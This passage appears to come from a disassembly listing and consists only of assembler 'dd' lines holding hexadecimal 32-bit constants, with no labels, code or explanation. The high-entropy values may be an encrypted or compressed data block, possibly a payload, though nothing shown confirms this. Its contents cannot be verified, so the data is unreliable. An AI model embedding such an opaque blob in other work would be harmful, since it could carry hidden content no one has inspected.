		dd 8E12CDD1h, 23BE03E8h, 94F680D1h, 70C83A94h, 9D615405h
		dd 4F090368h, 0DCE52CA6h, 89B81D9Dh, 0D3F3DC4h,	0F36096Bh
		dd 8596DC3Eh, 7DDD22CBh, 25DCD63Eh, 722DB78Eh, 73C3D00Eh
		dd 56FDCE6Ah, 122ACA44h, 1863FFF8h, 0BCBA792Ah,	9C4384BBh
		dd 0C2BF5D54h, 0C2B5545Bh, 0D436B925h, 6D0BFCAAh, 45621F04h
		dd 0F02457B6h, 0A1BBDD63h, 0C0554E58h, 59E96FB4h, 23387457h
		dd 0E607487h, 529F16B3h, 0A248EBBEh, 0C8B837DDh, 429799AFh
		dd 5E464CB0h, 1882AB65h, 984A9B0Dh, 82A6C37Ch, 30E8375Eh
		dd 3A6DE49Bh, 0C419F337h, 41AF363h, 0D932B40Eh,	0E6D75DABh
		dd 20DFFA1h, 0E78AA82h,	852478Eh, 55F60EDFh, 5E8DA189h
		dd 406933FAh, 0CA9C12D2h, 6E9AEDA9h, 25F72B18h,	89EBCC63h
		dd 0A85CDA1Bh, 0BE2947C0h, 2C620B06h, 19CD5ED4h, 0CAEEFB86h
		dd 2D87288h, 0A6AFB412h, 6769B641h, 15BA412Ah, 5CE4C6F0h
		dd 0A20543EBh, 7FDA0241h, 90B75CF2h, 0E1209588h, 0E48343C7h
		dd 23FAF384h, 5BBE554Dh
		dd 365DAF39h, 0F80D420Bh, 2AD7DCE6h, 96942A02h,	2ACFBA92h
		dd 39E25CC1h, 0ED060D68h, 503FA695h, 5E2F4DF9h,	2D4D6EC4h
		dd 12F0C12Dh, 817F8E1h,	0A0DBF124h, 11EFCA28h, 15B33B2Eh
		dd 9EB8BDC9h, 0BE95D027h, 523B5E24h, 0AB610215h, 763DE576h
		dd 0FAAF5C67h, 6CEE96C2h, 11C9C056h, 62498A24h,	0B7943EA6h
		dd 29B8CBF2h, 72CB5AD0h, 0E8F22E0Ah, 47EFC5A1h,	9595791Ah
		dd 401E7B8Dh, 59442FA2h, 7DA9E188h, 22AF64FBh, 0FE2CFCDFh
		dd 0D655C3E1h, 5137F866h, 1371176Fh, 75C7D0BDh,	0F0224B3Ch
		dd 554FD3F7h, 75B169DBh, 9359C21Ch, 1F98239Ch, 5C11A4A4h
		dd 0CB70F4E1h, 493EB938h, 9CA7CB8Fh, 0B30D59F4h, 78AF44AAh
		dd 377136E1h, 17504020h, 0F8AB38E9h, 0FC384F43h, 8E9F9567h
		dd 37B64F30h, 8EEBD8F6h, 0A4AE6E23h, 1C1282E9h,	26B6964Bh
		dd 57133B65h, 538F4224h, 0B60F7BA3h, 6AE0CEEAh,	5EBC401Fh
		dd 0EBCC02E6h, 0B52DE2F3h, 2F3CF288h, 2F68E508h, 6032B051h
		dd 376026FFh, 3C9BEF29h, 358DB43Bh, 88D62D33h, 0C16A45BEh
		dd 9DECDAABh, 0CE9BBDBFh, 47A9979Ch, 85671148h,	0DF02F10h
		dd 34134284h, 50E14BA3h, 1124D1A7h, 0C791D0B3h,	0DF0D18Bh
		dd 0A9503979h, 0BD836997h, 0BE781000h, 0FEA56B5Bh, 48F2BAAAh
		dd 2EE06DAh, 9A8D049Ah,	0DEDF15A3h, 9AFBF8DEh, 63E4EFEh
		dd 0C87F94B8h, 0DF507D39h, 66D783ABh, 0B3D11A52h, 9CD90D02h
		dd 98224194h, 665397B9h, 7773D822h, 9E6BC13Eh, 6DA155A9h
		dd 9CB39B70h, 0AB575D09h, 0D120500h, 9307C8E2h,	70BC4A19h
		dd 1F68EB6h, 4826E6FDh,	81907DF9h, 0B4D2584Bh, 0B3C30C9Ch
		dd 1B396BAEh, 0C8F486A7h, 0DC5C1A78h, 0C425C5FDh, 46941F56h
		dd 0AD7FFEB6h, 0EC262539h, 78FCBF09h, 82B8E6Eh,	0B13CAA2Ch
		dd 60659887h, 5BBB8113h, 0C951FBE8h, 0E3A89475h, 0E71FDC0Ah
		dd 0D8DD0EB2h, 0E732BBC7h, 8BC74712h, 0E9CCB2Ch, 0EDD3EB6Bh
		dd 7642063h, 0D736C51Bh, 0AB011889h, 89B34A03h,	1ACF48B9h
		dd 3DF663B0h, 0B723299Ah, 3D74FBE4h, 0E9h, 68000000h, 0EBD2A292h
		dd 61BBF073h, 49E72B68h, 0AC0A0DC4h, 0AA1ABF9Dh, 0DBB395D0h
		dd 3BF0111Ch, 380DE4BDh, 1C83A46Ah, 80FF4Dh, 2B019195h
		dd 0DA676C3Dh, 2A3A45FFh, 0BB6F84FBh, 0EF9D1EF8h, 0C1BAFD85h
		dd 51371141h, 7BD4B72Ch, 20B9B475h, 0B0D6EC79h,	5D5EEC87h
		dd 0C9E61625h, 8600E76Fh, 80D9998h, 0E6DA5554h,	1C6606ECh
		dd 289DD380h, 90A6978Fh, 6F3B4585h, 0F430844Dh,	0D0A96D74h
		dd 31DB9F50h, 756E6F7Fh, 1412C188h, 0CFB58B73h,	84F277E8h
		dd 44119220h, 0DCE26452h, 9DF51DF5h, 8B2B3967h,	0CEBF1834h
		dd 0EB466CFBh, 96937894h, 7318393h, 0A8D7865Bh,	175054B4h
		dd 58C8BD84h, 64AF83D6h, 0DFFD6EDAh, 2AB62EAEh,	0B21EDFC0h
		dd 0FA191B9h, 0D61BC74Fh, 0A114E0F2h, 9ABA5029h, 0D89E2A9Bh
		dd 0F4E57306h, 0CFEB555Ch, 9E8E68DAh, 99915CB5h, 5DA9A9C2h
		dd 46CEF7D5h, 7870F677h, 0C48A9690h, 7478A616h,	0B503AB80h
		dd 2DC08007h, 0D6BAFA0Bh, 9872A2B3h, 133D83D8h,	0F20BDC79h
		dd 2DC1AF66h, 6E68F8E3h, 1C40CECh, 74C9DB06h, 0C5CCD3E5h
		dd 8DB85BAh, 57892299h,	925E6F86h, 92CA3F7h, 9CCA935Fh
		dd 0ACCE6D92h, 10B45496h, 0AAA54358h, 23C2EADh,	5DF3419Ah
		dd 0F74806F3h, 0C49D2CD4h, 56B026D3h, 529103B0h, 86072EF7h
		dd 0F06AEADh, 0D41F324Fh, 0CCB938CAh, 0B1D7B37Fh, 0A3ABB83h
		dd 0BA63E1EEh, 4D95DA60h, 379D0994h, 52E7AA3h, 3236C63Dh
		dd 68E060B6h, 0E331E874h, 597E0EB7h, 0BC0291E1h, 0E9F31835h
		dd 4CBF110Fh, 0AE0D89C4h, 104E5754h, 3746CFAh, 0E65F9D3Ch
		dd 1A3781D4h, 55EEA649h, 96071470h, 0B7DD0EEh, 534A3300h
		dd 8756FB6Ah, 20EFC2E1h, 0CD5F76C6h, 0ABEAF204h, 5A79DB56h
		dd 915A6F11h, 0FCB37B4h, 79FED7DEh, 5AD71EDEh, 89005236h
		dd 0E44285F4h, 9708FEFBh, 89214121h, 80CD005Ah,	0D10D25B4h
		dd 0EAD4D87Bh, 2C4676E0h, 21744F9Dh, 3019CC28h,	19EB1FCh
		dd 83133536h, 0EF4136Ah, 0ABF8CD36h, 0F21A0C0Dh, 1705DF69h
		dd 7A8CFE31h, 75C3779Dh, 7FB8A04Fh, 5CEFA28Dh, 2104F48Ah
		dd 0AD489808h, 0EA93C30h, 3055AA40h, 0D0F433D5h, 908948Bh
		dd 4090450Eh, 0B50C2D89h, 80F552F3h, 0EA83C370h, 0E59BAA84h
		dd 71568AB8h, 0D3A61EA1h, 0A4CA5DFh, 56F85BE3h,	0DA25ED05h
		dd 29DF6159h, 61218B55h, 26A0962Fh, 0C96103E8h,	92E34819h
		dd 0E71DDCBDh, 0DC57DE8Dh, 390A9BE6h, 8F4CBA5Ch, 0D90BAF8Fh
		dd 1A3B556Ah, 95082DBBh, 6A316520h, 410C0E22h, 0A7A58267h
		dd 79692BEAh, 9FEE98E6h, 0B391745Bh, 2831EB59h,	0D41B12F0h
		dd 5E53D71Dh, 0D2679114h, 0F0F038CAh, 0CFA74AF3h, 0BED65211h
		dd 0F5D40995h, 588F808Ch, 4155E3FBh, 9F384CFh, 32E6EBEh
		dd 9AE39F5Dh, 0B74B3634h, 6FCC1568h, 0E323272Eh, 7FAE8F42h
		dd 0C7F3E9FAh, 29CF4DA2h, 112750CBh, 0EBDF4BFh,	2FB0670Ah
		dd 89127A26h, 0A536DF97h, 4AA4A14Dh, 4FAAE002h,	1B99CF8h
		dd 2D4A53E0h, 0B91A6FAFh, 0F4C680D7h, 24236AD5h, 9985782Ch
		dd 2FB051BDh, 0C14C856Dh, 0DA277936h, 0A478D584h, 3FAFBDFDh
		dd 572C3C8Dh, 219B3BA8h, 5CA5D49Fh, 23C046B8h, 93B1033Fh
		dd 0A7C0B4E6h, 0E9F68A6Ah, 0CC6F8300h, 0C7BFDBF1h, 0F5A3FEC0h
		dd 2A1D34B3h, 843C90EDh, 0A7B427Ch, 0C41B2EC5h,	29025B78h
		dd 7EB743C1h, 0BB5F4EE6h, 1D8AA30Bh, 83BB054h, 0E4CF9546h
		dd 0DFBBEE4Ah, 0F9B88E33h, 17C454C1h, 0B0A58096h, 84CC1A51h
		dd 9DEF8B75h, 0C49E5FDFh, 597F5A3Bh, 55625179h,	0FF11331Ah
		dd 1D324053h, 0E0897371h, 83F1EAC2h, 20257C4Dh,	0D761C1F6h
		dd 3C1BAFE2h, 9C421BD4h, 0C7A96F31h, 43ED0EA8h,	0FD208C1Bh
		dd 0F1C6FD0h, 0B163C6B1h, 63375E19h, 0A5EF07D9h, 7C00707Bh
		dd 0E34E01FAh, 0D0D18567h, 1134F449h, 0AE002529h, 0AFE4AFF2h
		dd 0D769306Eh, 2457A4DDh, 3C19F7E9h, 0F82A8667h, 0E8624124h
		dd 733FAFB0h, 47A9853Ah, 451D885Bh, 0D1445552h,	0B970CFB0h
		dd 8D3ADDCFh, 0D325D9C0h, 54ECF7EBh, 330A2737h,	8FE6630Ch
		dd 6CF693FAh, 0DF7DC574h, 4AB4444Eh, 0BD3CE891h, 1AFC9BEEh
		dd 0DE8643C4h, 0AECEC134h, 0F362CBB8h, 2C9AAF8Bh, 7E501680h
		dd 2F7C3268h, 0F3C66511h, 0FCB4A22Bh, 4876BCF3h, 0FBAEA43Fh
		dd 91B5B82Dh, 0BF17C1A6h, 0D83B2AEAh, 0A903F3E0h, 76298F10h
		dd 30A38D5Bh, 0E5DEAD56h, 258654B2h, 62FC42D7h,	2D304633h
		dd 1C2CE6C6h, 9237A13Eh, 7D7BD4D0h, 2ED17C4Dh, 2122F3B8h
		dd 0CC1205A2h, 0FA71EB0h, 8360B82Eh, 0E988D5ABh, 7BD2EACDh
		dd 0C8F2BAFEh, 3AB40E28h, 50737170h, 14DCEC83h,	0E9F22E8Dh
		dd 0BDBD268Ah, 28E5DBCFh, 2493BB26h, 0C0E7241h,	56F9876Eh
		dd 5D1252Dh, 403F478Ch,	0C0BC930Bh, 89DBA8C0h, 0C126DCECh
		dd 8E291102h, 0C28F50E1h, 26DC4040h, 0F41D4F73h, 5D143545h
		dd 0F920197Ch, 0AE629B4Fh, 0D4D22795h, 6D214B25h, 0CA03231Ch
		dd 15AC59BAh, 0E5CB764Fh, 3E7C430Ah, 0A94F6A7Ch, 0D6367723h
		dd 0D99F275Eh, 0E096EDDCh, 3FFDBE68h, 0F7C1C7B4h, 0E12E8968h
		dd 900D46ECh, 60954B2Ah, 59EE8415h, 7BA36082h, 0B4E456D0h
		dd 0D9869AE7h, 867A71F9h, 0B97C6BA7h, 4A8FFC3Ah, 55BE3620h
		dd 3B2832F5h, 0F504A895h, 0ED7A0CF4h, 15591524h, 89B80677h
		dd 6A093B4Ah
		dd 34A443D6h, 0C314F7DBh, 7371926Bh, 8EFF5FA8h,	0C959C49Bh
		dd 0AC808711h, 98AE165Eh, 0F936D679h, 2F58CDF0h, 40C3A448h
		dd 0EFBFC25Ah, 0DABD3CF9h, 0AEA6392Bh, 17723C34h, 3E5A7739h
		dd 67F62D5Fh, 0F102D5F1h, 0EB04466Dh, 0AEEFF9A8h, 2A189BFDh
		dd 8A4EB553h, 1EB7EF29h, 48A55591h, 0B4AE7215h,	99E94F14h
		dd 521D0565h, 49023409h, 1FD9C736h, 7478CB8Ah, 0F638B7B0h
		dd 366E80E7h, 4846EE34h, 90852744h, 0AA030D74h,	696D28B8h
		dd 0EFBECECEh, 0FA20A8D7h, 3C6B9B7Eh, 23599E2Ah, 65DF0A11h
		dd 1E7E047Bh, 92CDB20Fh, 2A0170A1h, 0F05B2FC1h,	8D953B92h
		dd 194AC8C5h, 1545CF28h, 0B7A675EBh, 576C5C00h,	0F5BDF1DAh
		dd 0A42E4760h, 0D6A048h, 0A57DBBCDh, 0D44882CAh, 0AA2C4033h
		dd 460F7693h, 322DC756h, 0EB8270CDh, 72473F74h,	1AED9B08h
		dd 567FD464h, 0A3CACF3Dh, 604A6238h, 0F026F2AAh, 3DBCD6BAh
		dd 35B6B1B3h, 0CABEC2A9h, 0C0E6CD1Eh, 2D0027D9h, 0E695965Eh
		dd 0EB757E77h, 0C730F12Ch, 1CE33366h, 6C186089h, 0AEC4F352h
		dd 78F82849h, 1AC5E8DBh, 0AEBB7B53h, 8CBB8F37h,	14BB06FEh
		dd 0A3CD5874h, 0FF0EC8A6h, 395E2FFBh, 113D6E1Bh, 67DFA257h
		dd 0BBA9F5A6h, 0E602A38Bh, 115042E8h, 0EDE49EA3h, 796056D4h
		dd 67A95C8h, 5205D857h,	0C116DE5h, 227F2233h, 0E39F062Dh
		dd 6362FA57h, 0AA5D57CDh, 0D014F404h, 0C628D9Eh, 4F6DE3B1h
		dd 1F8FACCCh, 0EC8EDB9Fh, 0E670669h, 6BFBC4FCh,	8D0E0AF2h
		dd 0CF57F489h, 190C6804h, 37D05449h, 0EEACEB8Eh, 46034A42h
		dd 0CF33E23Bh, 613094A6h, 0A0DC315Ah, 7212D385h, 62C3ACF2h
		dd 0EA7C59Bh, 0B964BFC7h, 96BEBF9Ch, 693F83CBh,	0D908AB7h
		dd 7A2807BBh, 0DCD73B02h, 0E60E87C6h, 123B6FF9h, 51A3F064h
		dd 490B4DDDh, 0A8CCF0CCh, 0D3F3DAEEh, 0AB6B0776h, 0B4B33470h
		dd 48396DB0h, 0D85D9E4Fh, 30E3FB4Dh, 0A6DADC7Ch, 2C6E4C95h
		dd 37FA28C3h, 0DED1512h, 69C908C2h, 54E75551h, 0F08CA176h
		dd 0D9FA05BBh, 952CF5B5h, 35B6056Ah, 0AA3969D0h, 538CAB96h
		dd 694121E5h, 6EDF30D4h, 0D07196F9h, 0A2784117h, 0D650B1Fh
		dd 91CDE57Bh, 5A22D754h, 0A383B2A5h, 0CDEAF197h, 9A0B7D70h
		dd 0C50FFD22h, 5C195656h, 91BA84DDh, 245AD2F6h,	9B401183h
		dd 5C78B7BFh, 82D571A3h, 0F9B6FDD3h, 3D2CE0E9h,	14001E8h
		dd 5EBBD9FFh, 0EEF8D51Ah, 64162FC3h, 1B8F7EF4h,	9BE0E2E6h
		dd 0F2B87B4Ch, 0ABFC5DFh, 88CEAED2h, 15007C85h,	84BCF78Ch
		dd 3C27FB48h, 8D9C626Ah, 8764F9D9h, 904965FBh, 81C65387h
		dd 4733CDBFh, 0CEDFC703h, 0A695FBC0h, 67316F4Bh, 0F907E024h
		dd 432D484Dh, 0A429403Fh, 0A58305C8h, 0FE148252h, 0A2DE5265h
		dd 0EEB8FE58h, 0F608A14Dh, 8CCBE7B9h, 3DF28727h, 0CC35FACh
		dd 0BEACDF2Eh, 10061AC2h, 0A848F1CAh, 6C347B1h,	3E654A8Dh
		dd 0F9C6136Bh, 9EEFEB96h, 44C64876h, 6A84C8C8h,	175E99C1h
		dd 5E84AE8Ch, 2BE6BA75h, 10A62C55h, 629FD6ABh, 307B9972h
		dd 88D33543h, 446D1332h, 9A2293A7h, 1CE8BC62h, 9F436E62h
		dd 3E55434h, 192899C5h,	546D7D55h, 0BB7D407h, 0C0F509EBh
		dd 0E29BFFF4h, 0C72C37BCh, 68E94D68h, 632F31C1h, 9FEDB8F4h
		dd 533522F1h, 3E2106Ah,	1672ECBEh, 0CD45F9F5h, 370EB257h
		dd 0AE394145h, 3EF93D6Ch, 0CD05F79Bh, 877061F4h, 0A8F0488Bh
		dd 0ADCAA667h, 7CC19AF0h, 54064C1Dh, 4B7FE623h,	0AE42B4D3h
		dd 0EA1C47D3h, 6FE90B4Fh, 3196B2DAh, 243E7511h,	9C1BC549h
		dd 0C41CD04Eh, 6BA1D9Eh, 47AB988Ch, 86C5D297h, 0F942DBEBh
		dd 37DE7DFDh, 0CEE2695Bh, 8AE84D4Fh, 0B6EF357Fh, 0DEB5C430h
		dd 995E8EA6h, 0BF0DA9A4h, 0B6675D11h, 7FC09Dh, 0A5FB8000h
		dd 5A936F4Dh, 1ABB2D0h,	21299A45h, 0C5FFAEBAh, 0E3D04E5Eh
		dd 88817AC2h, 58F26BE4h, 0F9DB655Ch, 8B711077h,	0E6807870h
		dd 0D55BF85Eh, 21B77ECEh, 0E6D406EFh, 12C8A2C0h, 0CFD27066h
		dd 1CF481B1h, 90A7E747h, 0C2DA6F2Bh, 7895C27Eh,	0A7EBCDE8h
		dd 63CD6921h, 0A3AF14EBh, 16FC34C2h, 7A84D38Ch,	7C1E645h
		dd 0FB01824h, 0DA559262h, 803C0337h, 733ADEE7h,	0F3DA58A5h
		dd 6F6A79ACh, 13E63772h, 9F7AC63h, 7627BEC0h, 6570062Eh
		dd 160AF401h, 43555099h, 6F0B2724h, 0CE8EBAB2h,	0EBFB079Bh
		dd 0FF531BF5h, 0A0B3DDAh, 7B99361Ah, 0E29C98CAh, 507765EBh
		dd 82F8DB02h, 30B8499h,	0B47472F5h, 280826A5h, 23D2B449h
		dd 0A1E9BEBDh, 0FFCF6090h, 7AF17E05h, 0DB63DD0Eh, 0B581F11h
		dd 6D8EDEC4h, 648EFE3h,	0B787F612h, 0DA39F328h,	2807306Eh
		dd 773A9DB9h, 83259D66h, 68939F58h, 1A24E136h, 6A1993F3h
		dd 8D44F8BFh, 28296BBh,	765B68D1h, 0DB9C85E1h, 0B85047DBh
		dd 833BA83Dh, 0CD9CF3B6h, 0BFEA1187h, 268270CDh, 0C68E0E60h
		dd 473FBB86h, 0B2F7A1E0h, 38BE12C4h, 612FD60Ah,	0BE8A3023h
		dd 0FD9CA6D6h, 92F533D0h, 0D9B8A514h, 0BF7F4988h, 0DEFC0D73h
		dd 317EC6C3h, 98871B4Dh, 0CE246B72h, 0A0758F8Ah, 4898E155h
		dd 0C6C4CFA3h, 0B053CDE0h, 3CE254D7h, 0D89BAF81h, 710935CDh
		dd 0ED2AD117h, 0D4E5DC9Dh, 0EAF5C92h, 0DBDC7A67h, 0AEDED1C7h
		dd 5EADE922h, 9B6D1D54h, 3902EA81h, 7A94526Eh, 0F3CDF943h
		dd 0D1C0512Bh, 9127FE0h, 0BF4E30A1h, 7C8CB3CAh,	6DCDA138h
		dd 0E4062D5h, 7DF54ACBh, 6423F8A0h, 4267FADEh, 2B7E0AAEh
		dd 5541E214h, 3FBD9AB1h, 0A40D1640h, 128ED0F4h,	0B017F319h
		dd 0A811C58Dh, 0D24EEFCDh, 29BD2127h, 85DFA282h, 6ACF0799h
		dd 0EF108D66h, 9A0FE382h, 0AE2253Bh, 15E52B8Ch,	65BCBB0Eh
		dd 811BC359h, 0A8CAE62Ch, 0EC3E1538h, 0AE28A9C8h, 21189E00h
		dd 32446C45h, 0C953360Dh, 0B0D2F51Ch, 3F33D55Dh, 0FEEC6A28h
		dd 0A0F009EEh, 7C7BAF0h, 0BB69C2AAh, 6388DC72h,	71AD33Ah
		dd 39E6E307h, 2AABC5E0h, 0F586D8AAh, 0B7C5C840h, 0AE6AE4B9h
		dd 5DA039B1h, 6FDA0B0Ch, 0BBBED7AAh, 9B1A2EF7h,	2DEF67F5h
		dd 5D05DE1Ch, 611B463Eh, 682E6655h, 7F2C0242h, 99CE27ABh
		dd 70715231h, 15A6CA0Bh, 0F4A5FBCCh, 3E42C1AFh,	0CF1C25D7h
		dd 8B5C6B24h, 20653928h, 7189CF9Eh, 80FABD3h, 0C4BF2C2Dh
		dd 0D7D0E51Dh, 8813342Fh, 0FB30B1E1h, 0B76A8872h, 816F25BBh
		dd 0BE51C313h, 528B97F8h, 89B113EBh, 848B9350h,	783F49D1h
		dd 0C980F8DDh, 8F042D09h, 4CE8A5h, 0C2B9F444h, 0F5975D6Fh
		dd 5173907Fh, 0DECC077Ch, 4F5E370Bh, 0D5F9ADEEh, 6A08EC6Fh
		dd 872BE4E9h, 3A8D2195h, 21E4552Bh, 0F66BACB0h,	7663E02h
		dd 0D445DC38h, 6B83662Fh, 8E78B05Dh, 60B80BBAh,	0BE80021Ch
		dd 0FC10667Dh, 0A911B04Ah, 5BC07DC5h, 24531309h, 0A47E9A04h
		dd 0A2593AD4h, 8A65B4A7h, 0CB30EC54h, 98238DDBh, 0FF140FD6h
		dd 0C055546Ah, 505C1464h, 8D193567h, 199EAEB4h,	7606EFB2h
		dd 0EFC5A353h, 0EF851DF0h, 75FDDC3Eh, 3F5EB00Fh, 0B0D6D99Dh
		dd 6AF64966h, 587497AEh, 763D2845h, 68437993h, 84EFFAD2h
		dd 356441BCh, 40289DC5h, 0F3FBAD68h, 2A9F7700h,	57CF037Ah
		dd 0F9016580h, 0F1EE873Dh, 0D2540F2Eh, 0DE16A8FBh, 0B6DD87F2h
		dd 8713BBB0h, 8A31C4B9h, 7964CDB7h, 0FF1EBDC3h,	0A5E7D23Eh
		dd 0C04A77CEh, 0CE236D06h, 1A64D801h, 9B14D4B6h, 540D217Ch
		dd 0FECD5C0Bh, 24A22307h, 14C5754Eh, 0D8E93B06h, 0F6CAB5D3h
		dd 0A7E97688h, 0F05BA82Dh
		dd 8A5980BFh, 490624F6h, 9FA5EB03h, 202E6F3Fh, 5E39BCFEh
		dd 0F99CF5B8h, 0A0EDB4A2h, 0D12B41B8h, 0E3FCA0ADh, 10A469Ah
		dd 2D47152Bh, 0ED566950h, 3D49E251h, 37EAA0ADh,	88C1E687h
		dd 673B26A8h, 32727847h, 0AA1122D0h, 0B0C0A23Dh, 540748F4h
		dd 5EB9B779h, 7A3E19D9h, 0F6ABD9FEh, 6B3DC5B0h,	917564Ch
		dd 538481D8h, 647EF3A2h, 0CA364A75h, 0C36C4334h, 0CB5DF822h
		dd 92808994h, 0B8AD302h, 0EB556ABEh, 674AC31Dh,	0BF719474h
		dd 0FEA21AF0h, 3B76FCFAh, 0AD769327h, 0E7ECCF44h, 9D497564h
		dd 0A696659Fh, 98FC0F6Ch, 2C19A83h, 524034CBh, 76AB1876h
		dd 7DDA6FB8h, 8AECD321h, 7E4D67C8h, 3FC9BF6Bh, 9D353D45h
		dd 0BB73B09Ch, 0C317119Fh, 1F21B7D6h, 37621778h, 0A5B4B78Fh
		dd 261A6C98h, 3B2EE695h, 24D45D30h, 0E1C4C12Eh,	5A28C414h
		dd 9E02F198h, 0FF2740F9h, 2BFE2B91h, 9A22568Ch,	0A83A339h
		dd 0FECC37Fh, 61DCF315h, 0F4D51E73h, 0D7201DAEh, 788EB626h
		dd 821AF875h, 6EB548Fh,	5090F387h, 2A14C347h, 0C1AFAE8h
		dd 41BA8895h, 0F26554Fh, 5A576BCAh, 0BEE146Dh, 1DF2E835h
		dd 4025152Ch, 392A9609h, 1E67638Ch, 97C48C8Dh, 69AC93A6h
		dd 0D8D4691Ah, 493BA0DAh, 940F6B80h, 0E9B2F8E2h, 79D651EDh
		dd 0C777B1A9h, 0E0009F98h, 0FC26E51Fh, 0E772ABD7h, 6828EEC1h
		dd 94B9E29h, 0F31765F3h, 37859060h, 54861EC5h, 9BEEBBFDh
		dd 1AB317A2h, 0BCA76574h, 0FD99AC7Fh, 0E48925C9h, 1CE2347Dh
		dd 1D87FF29h, 0D376181Ah, 3732F707h, 13A04215h,	4BC5F5A5h
		dd 5DD61B4h, 1D35A1Ch, 0C14DE001h, 89E6EDB4h, 34ABD9E9h
		dd 0E62EF53Bh, 0C5A800BFh, 9B1C2475h, 0EC914116h, 0B828EFBEh
		dd 0F0989985h, 0F2497FA2h, 0E7E500B5h, 731AECA7h, 0AB3EDB39h
		dd 74C073C8h, 0B0420D58h, 0ADAEDA70h, 9545CD8Bh, 5FF7BAEEh
		dd 20FF27B3h, 844D9E2Ch, 0A1E180C8h, 3C4966EAh,	4484BD12h
		dd 89CDC15Eh, 0AC312DDBh, 10385E99h, 2ECA7B3Bh,	788BF248h
		dd 8F7EB6Eh, 2FC2CFADh,	2F1D099h, 69B75308h, 0B3AAF1ADh
		dd 6265D4AFh, 52DB932h,	0AAA3ACA2h, 0F837075Bh,	7EB52866h
		dd 47E0D2DBh, 25AEBAA3h, 27454E72h, 9FAD4650h, 11F54B01h
		dd 0BB1BCD0Dh, 0ECCBBCCEh, 731D294Eh, 8D75132Fh, 4E1DB37h
		dd 0C4F131FAh, 0DCA6D58Ch, 9DBBAEDAh, 0EA10F4FAh, 9B9E8AA3h
		dd 51988F68h, 968A75E1h, 0D8723A7Ah, 0CCD7A26Dh, 0F51D6615h
		dd 0BE7CFB23h, 990831B4h, 73A2CB67h, 39FBFA14h,	0BD1499F3h
		dd 0F417350Dh, 0F04FA375h, 0D2711B12h, 0FF74D112h, 6D7CF138h
		dd 80D67B15h, 1B73F240h, 1AF96F6Fh, 22A0589Eh, 6307B0D5h
		dd 60AA0729h, 0B0C9D375h, 323B5AF5h, 26E08CBFh,	0F89882C8h
		dd 7174DCD0h, 3447FC83h, 0A085F6FCh, 649886A6h,	0D7A20775h
		dd 0A1DAB49h, 54CBCAB9h, 0F9CD860Bh, 2C8E9802h,	462B255Ch
		dd 4D7A0E4Fh, 71C90499h, 9DA1ED8Ch, 0AB1E3157h,	8701E931h
		dd 0F612159Bh, 0BD006CB1h, 56851754h, 916D539h,	3E441BE5h
		dd 0FD92A48Dh, 0D06D0B1h, 9F930B9Fh, 9E8F9E27h,	0F0586EAFh
		dd 2D71EDCCh, 3707253Ch, 0B86F1A37h, 4DC64965h,	0B6E570D7h
		dd 301A070Fh, 0B63FF2E9h, 0A26840C9h, 0DB7306ADh, 6E3AB2DBh
		dd 0DF73D2E4h, 36735BB8h, 7F2DFCE0h, 88268444h,	806B1B4Ah
		dd 79CF4DE7h, 0B658B6C4h, 872EC9CAh, 77E8BF8Bh,	0B2E076ACh
		dd 0D8383C20h, 0AFC2E5FEh, 40A42E4h, 7536CDDAh,	0E1C633DCh
		dd 0B270614Fh, 2AA31267h, 3DD4E05Ch, 0BA30E69Ah, 44767DE0h
		dd 4C1FA2C8h, 670A68FEh, 0F57F5BE3h, 0D568F4E4h, 0A4A3F5D1h
		dd 0CE4BE768h, 0F4405FADh, 0B323E8D1h, 95FA040Dh, 0DFC10994h
		dd 9965E9AEh, 0A156969Bh, 0AA79140h, 881C46F4h,	8CF1FE79h
		dd 2DED5726h, 0DB067840h, 926E980Eh, 0AEC87CCAh, 9DBE8925h
		dd 11CDCA9Ah, 163E7FE4h, 361C5FD7h, 33E1F596h, 0E8C5017Ch
		dd 95796434h, 0D50A6317h, 0ADEE45C3h, 553F82F7h, 29B79461h
		dd 90ABBF6Eh, 0D77F5090h, 0FE4E29C5h, 5070ADA0h, 19BD721Bh
		dd 7DE81BC9h, 0E0BB49A7h, 9664F12Dh, 0CB4DBE71h, 0ADA86463h
		dd 4D389675h, 0B3472C14h, 0B776195Bh, 35F4DB3Eh, 33865E23h
		dd 0AFE6A7Eh, 0BB87068Ah, 15667847h, 474E6422h,	8EA31814h
		dd 9B311FD9h, 0E38A895Ch, 0C6BC2B89h, 92D86B28h, 6684FE7h
		dd 26553C2Ch, 0BFB0087Ch, 0F5BDA5Ah, 43AE04Dh, 39767C4h
		dd 5749FF73h, 0A96A9BB8h, 0D9ED56E6h, 0BCD2DBB0h, 436FFFFAh
		dd 8399DB90h, 783BBC84h, 0ACEC2DB1h, 178D3D0Ch,	0CC4C76CDh
		dd 6883D584h, 2E23491h,	660E5627h, 0BC46D17h, 6DE91A70h
		dd 65BA5F33h, 0F8C59B32h, 2BD11669h, 0DBA12837h, 57869A03h
		dd 762E5CE4h, 81829F47h, 45DF647Ch, 0CDEF114Ah,	241B49BFh
		dd 0DE41230Ch, 0B9296E65h, 4E32ABB5h, 1AB7F7B1h, 40FBDBC2h
		dd 76516CE2h, 5C039CB1h, 0AC31EA37h, 2E102015h,	0DB5CA478h
		dd 1A88DAE7h, 0DC7AC53Bh, 750D74F0h, 0F31EA3Dh,	463E044Fh
		dd 348D48E7h, 0DF4A47CDh, 7E376AB6h, 0C89D5AC3h, 839C51CCh
		dd 3A419AD3h, 35BCDD8Fh, 13D50A3Eh, 1341ED20h, 44E0F66Ah
		dd 61CC6A70h, 176245D4h, 4DA660Dh, 424E4C0Ch, 7734403Ah
		dd 4F79B13Eh, 998EB379h, 9DDA2538h, 0AA12F56Ch,	410C66DAh
		dd 946C1848h, 38993D32h, 5BA45F08h, 0C9A6E201h,	5DFAB2EEh
		dd 21381927h, 5232ACE1h, 0BA29639Ah, 49B3302Eh,	0D0F92A4Ah
		dd 45A25489h, 0F578C7AFh, 0AD10A98h, 91F362E2h,	2AD94A86h
		dd 11FB54F2h, 1BAE70B5h, 9E2EF788h, 3AAAE153h, 4C5BA17Bh
		dd 2803CDCEh, 7ED16D5Dh, 64FC9D92h, 445587AEh, 97B4ACA7h
		dd 4A3C88FAh, 352758CDh, 86C048DAh, 4A8F7FC7h, 3C50EC7Ch
		dd 0E3B3BDE3h, 742A3D1h, 16E4B63Dh, 4975880Fh, 0FCF03534h
		dd 418B6A0Bh, 841ABFDh,	1A208B77h, 8B288CBDh, 0D00E0364h
		dd 0CB0CE89Ch, 700037C1h, 724AE049h, 78027C3Bh,	0EF729C44h
		dd 9BEECBEBh, 8E1960D0h, 6870F449h, 427DB3Ah, 5595F8E0h
